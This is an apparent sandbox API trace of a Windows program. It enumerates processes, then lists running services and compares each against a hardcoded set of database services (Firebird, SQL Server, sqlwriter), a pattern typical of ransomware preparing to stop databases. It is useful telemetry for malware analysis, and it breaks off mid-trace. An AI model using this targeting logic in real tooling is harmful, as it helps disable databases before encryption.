lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0098.246] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0098.246] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0098.247] lstrlenW (lpString="paying.exe") returned 10 [0098.247] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0098.248] lstrlenW (lpString="emission.exe") returned 12 [0098.248] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0098.249] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0098.249] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0098.250] lstrlenW (lpString="charter.exe") returned 11 [0098.250] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0098.251] lstrlenW (lpString="nickel.exe") returned 10 [0098.251] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0098.252] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0098.252] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0098.253] lstrlenW (lpString="wrist.exe") returned 9 [0098.253] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0098.254] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0098.254] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0098.255] lstrlenW (lpString="neck.exe") returned 8 [0098.255] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0098.256] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0098.256] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0098.257] lstrlenW (lpString="dllhost.exe") returned 11 [0098.257] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.258] lstrlenW (lpString="taskhostw.exe") returned 13 [0098.258] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.259] lstrlenW (lpString="svchost.exe") returned 11 [0098.259] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.260] lstrlenW (lpString="svchost.exe") returned 11 [0098.260] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0098.260] lstrlenW (lpString="reaItek.exe") returned 11 [0098.261] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.261] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0098.261] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0098.262] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0098.262] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0098.263] lstrlenW (lpString="conhost.exe") returned 11 [0098.263] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0098.264] lstrlenW (lpString="cmd.exe") returned 7 [0098.264] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0098.265] lstrlenW (lpString="conhost.exe") returned 11 [0098.265] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0098.266] CloseHandle (hObject=0x278) returned 1 [0098.266] Sleep (dwMilliseconds=0x1f4) [0099.378] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feb60 [0099.378] EnumServicesStatusExW (in: hSCManager=0x5feb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0099.379] GetLastError () returned 0xea [0099.379] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x620be8 [0099.379] EnumServicesStatusExW (in: hSCManager=0x5feb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x620be8, cbBufSize=0x1fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x620be8, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0099.380] CloseServiceHandle (hSCObject=0x5feb60) returned 1 [0099.380] lstrlenW (lpString="Appinfo") returned 7 [0099.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0099.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0099.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0099.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0099.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0099.380] lstrlenW (lpString="AppXSvc") returned 7 [0099.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0099.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0099.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0099.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0099.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0099.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0099.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0099.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0099.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0099.380] lstrlenW (lpString="Audiosrv") returned 8 [0099.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0099.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0099.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0099.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0099.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0099.381] lstrlenW (lpString="BFE") returned 3 [0099.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0099.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0099.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0099.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0099.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0099.381] lstrlenW (lpString="BITS") returned 4 [0099.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0099.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0099.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0099.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0099.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0099.381] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0099.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0099.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0099.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0099.381] lstrlenW (lpString="CDPSvc") returned 6 [0099.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0099.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0099.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0099.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0099.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0099.381] lstrlenW (lpString="ClickToRunSvc") returned 13 [0099.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.382] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0099.382] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0099.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0099.382] lstrlenW (lpString="ClipSVC") returned 7 [0099.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0099.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0099.382] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0099.382] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0099.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0099.382] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0099.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0099.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0099.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0099.382] lstrlenW (lpString="CryptSvc") returned 8 [0099.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0099.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0099.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0099.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0099.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0099.382] lstrlenW (lpString="DcomLaunch") returned 10 [0099.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0099.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0099.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0099.382] lstrlenW (lpString="DeviceAssociationService") returned 24 [0099.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0099.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0099.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0099.383] lstrlenW (lpString="Dhcp") returned 4 [0099.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0099.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0099.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0099.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0099.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0099.383] lstrlenW (lpString="Dnscache") returned 8 [0099.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0099.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0099.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0099.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0099.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0099.383] lstrlenW (lpString="DoSvc") returned 5 [0099.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0099.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0099.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0099.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0099.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0099.383] lstrlenW (lpString="DPS") returned 3 [0099.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0099.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0099.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0099.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0099.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0099.383] lstrlenW (lpString="DusmSvc") returned 7 [0099.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0099.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0099.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0099.384] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0099.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0099.384] lstrlenW (lpString="EventLog") returned 8 [0099.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0099.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0099.384] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0099.384] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0099.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0099.384] lstrlenW (lpString="EventSystem") returned 11 [0099.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0099.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0099.384] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0099.384] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0099.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0099.384] lstrlenW (lpString="FontCache") returned 9 [0099.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0099.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0099.384] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0099.384] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0099.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0099.384] lstrlenW (lpString="gpsvc") returned 5 [0099.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0099.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0099.384] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0099.384] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0099.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0099.384] lstrlenW (lpString="iphlpsvc") returned 8 [0099.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.385] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0099.385] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0099.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0099.385] lstrlenW (lpString="KeyIso") returned 6 [0099.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0099.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0099.385] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0099.385] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0099.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0099.385] lstrlenW (lpString="LanmanServer") returned 12 [0099.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0099.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0099.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0099.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0099.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0099.385] lstrlenW (lpString="LanmanWorkstation") returned 17 [0099.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0099.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0099.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0099.385] lstrlenW (lpString="lfsvc") returned 5 [0099.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0099.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0099.385] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0099.385] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0099.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0099.385] lstrlenW (lpString="LicenseManager") returned 14 [0099.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0099.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0099.386] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0099.386] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0099.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0099.386] lstrlenW (lpString="lmhosts") returned 7 [0099.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0099.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0099.386] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0099.386] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0099.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0099.386] lstrlenW (lpString="LSM") returned 3 [0099.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0099.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0099.386] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0099.386] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0099.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0099.386] lstrlenW (lpString="MapsBroker") returned 10 [0099.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0099.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0099.386] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0099.386] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0099.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0099.386] lstrlenW (lpString="MpsSvc") returned 6 [0099.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0099.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0099.386] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0099.386] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0099.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0099.386] lstrlenW (lpString="NcbService") returned 10 [0099.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0099.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0099.387] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0099.387] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0099.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0099.387] lstrlenW (lpString="netprofm") returned 8 [0099.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0099.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0099.387] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0099.387] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0099.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0099.387] lstrlenW (lpString="NlaSvc") returned 6 [0099.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0099.387] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0099.387] lstrlenW (lpString="nsi") returned 3 [0099.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0099.387] 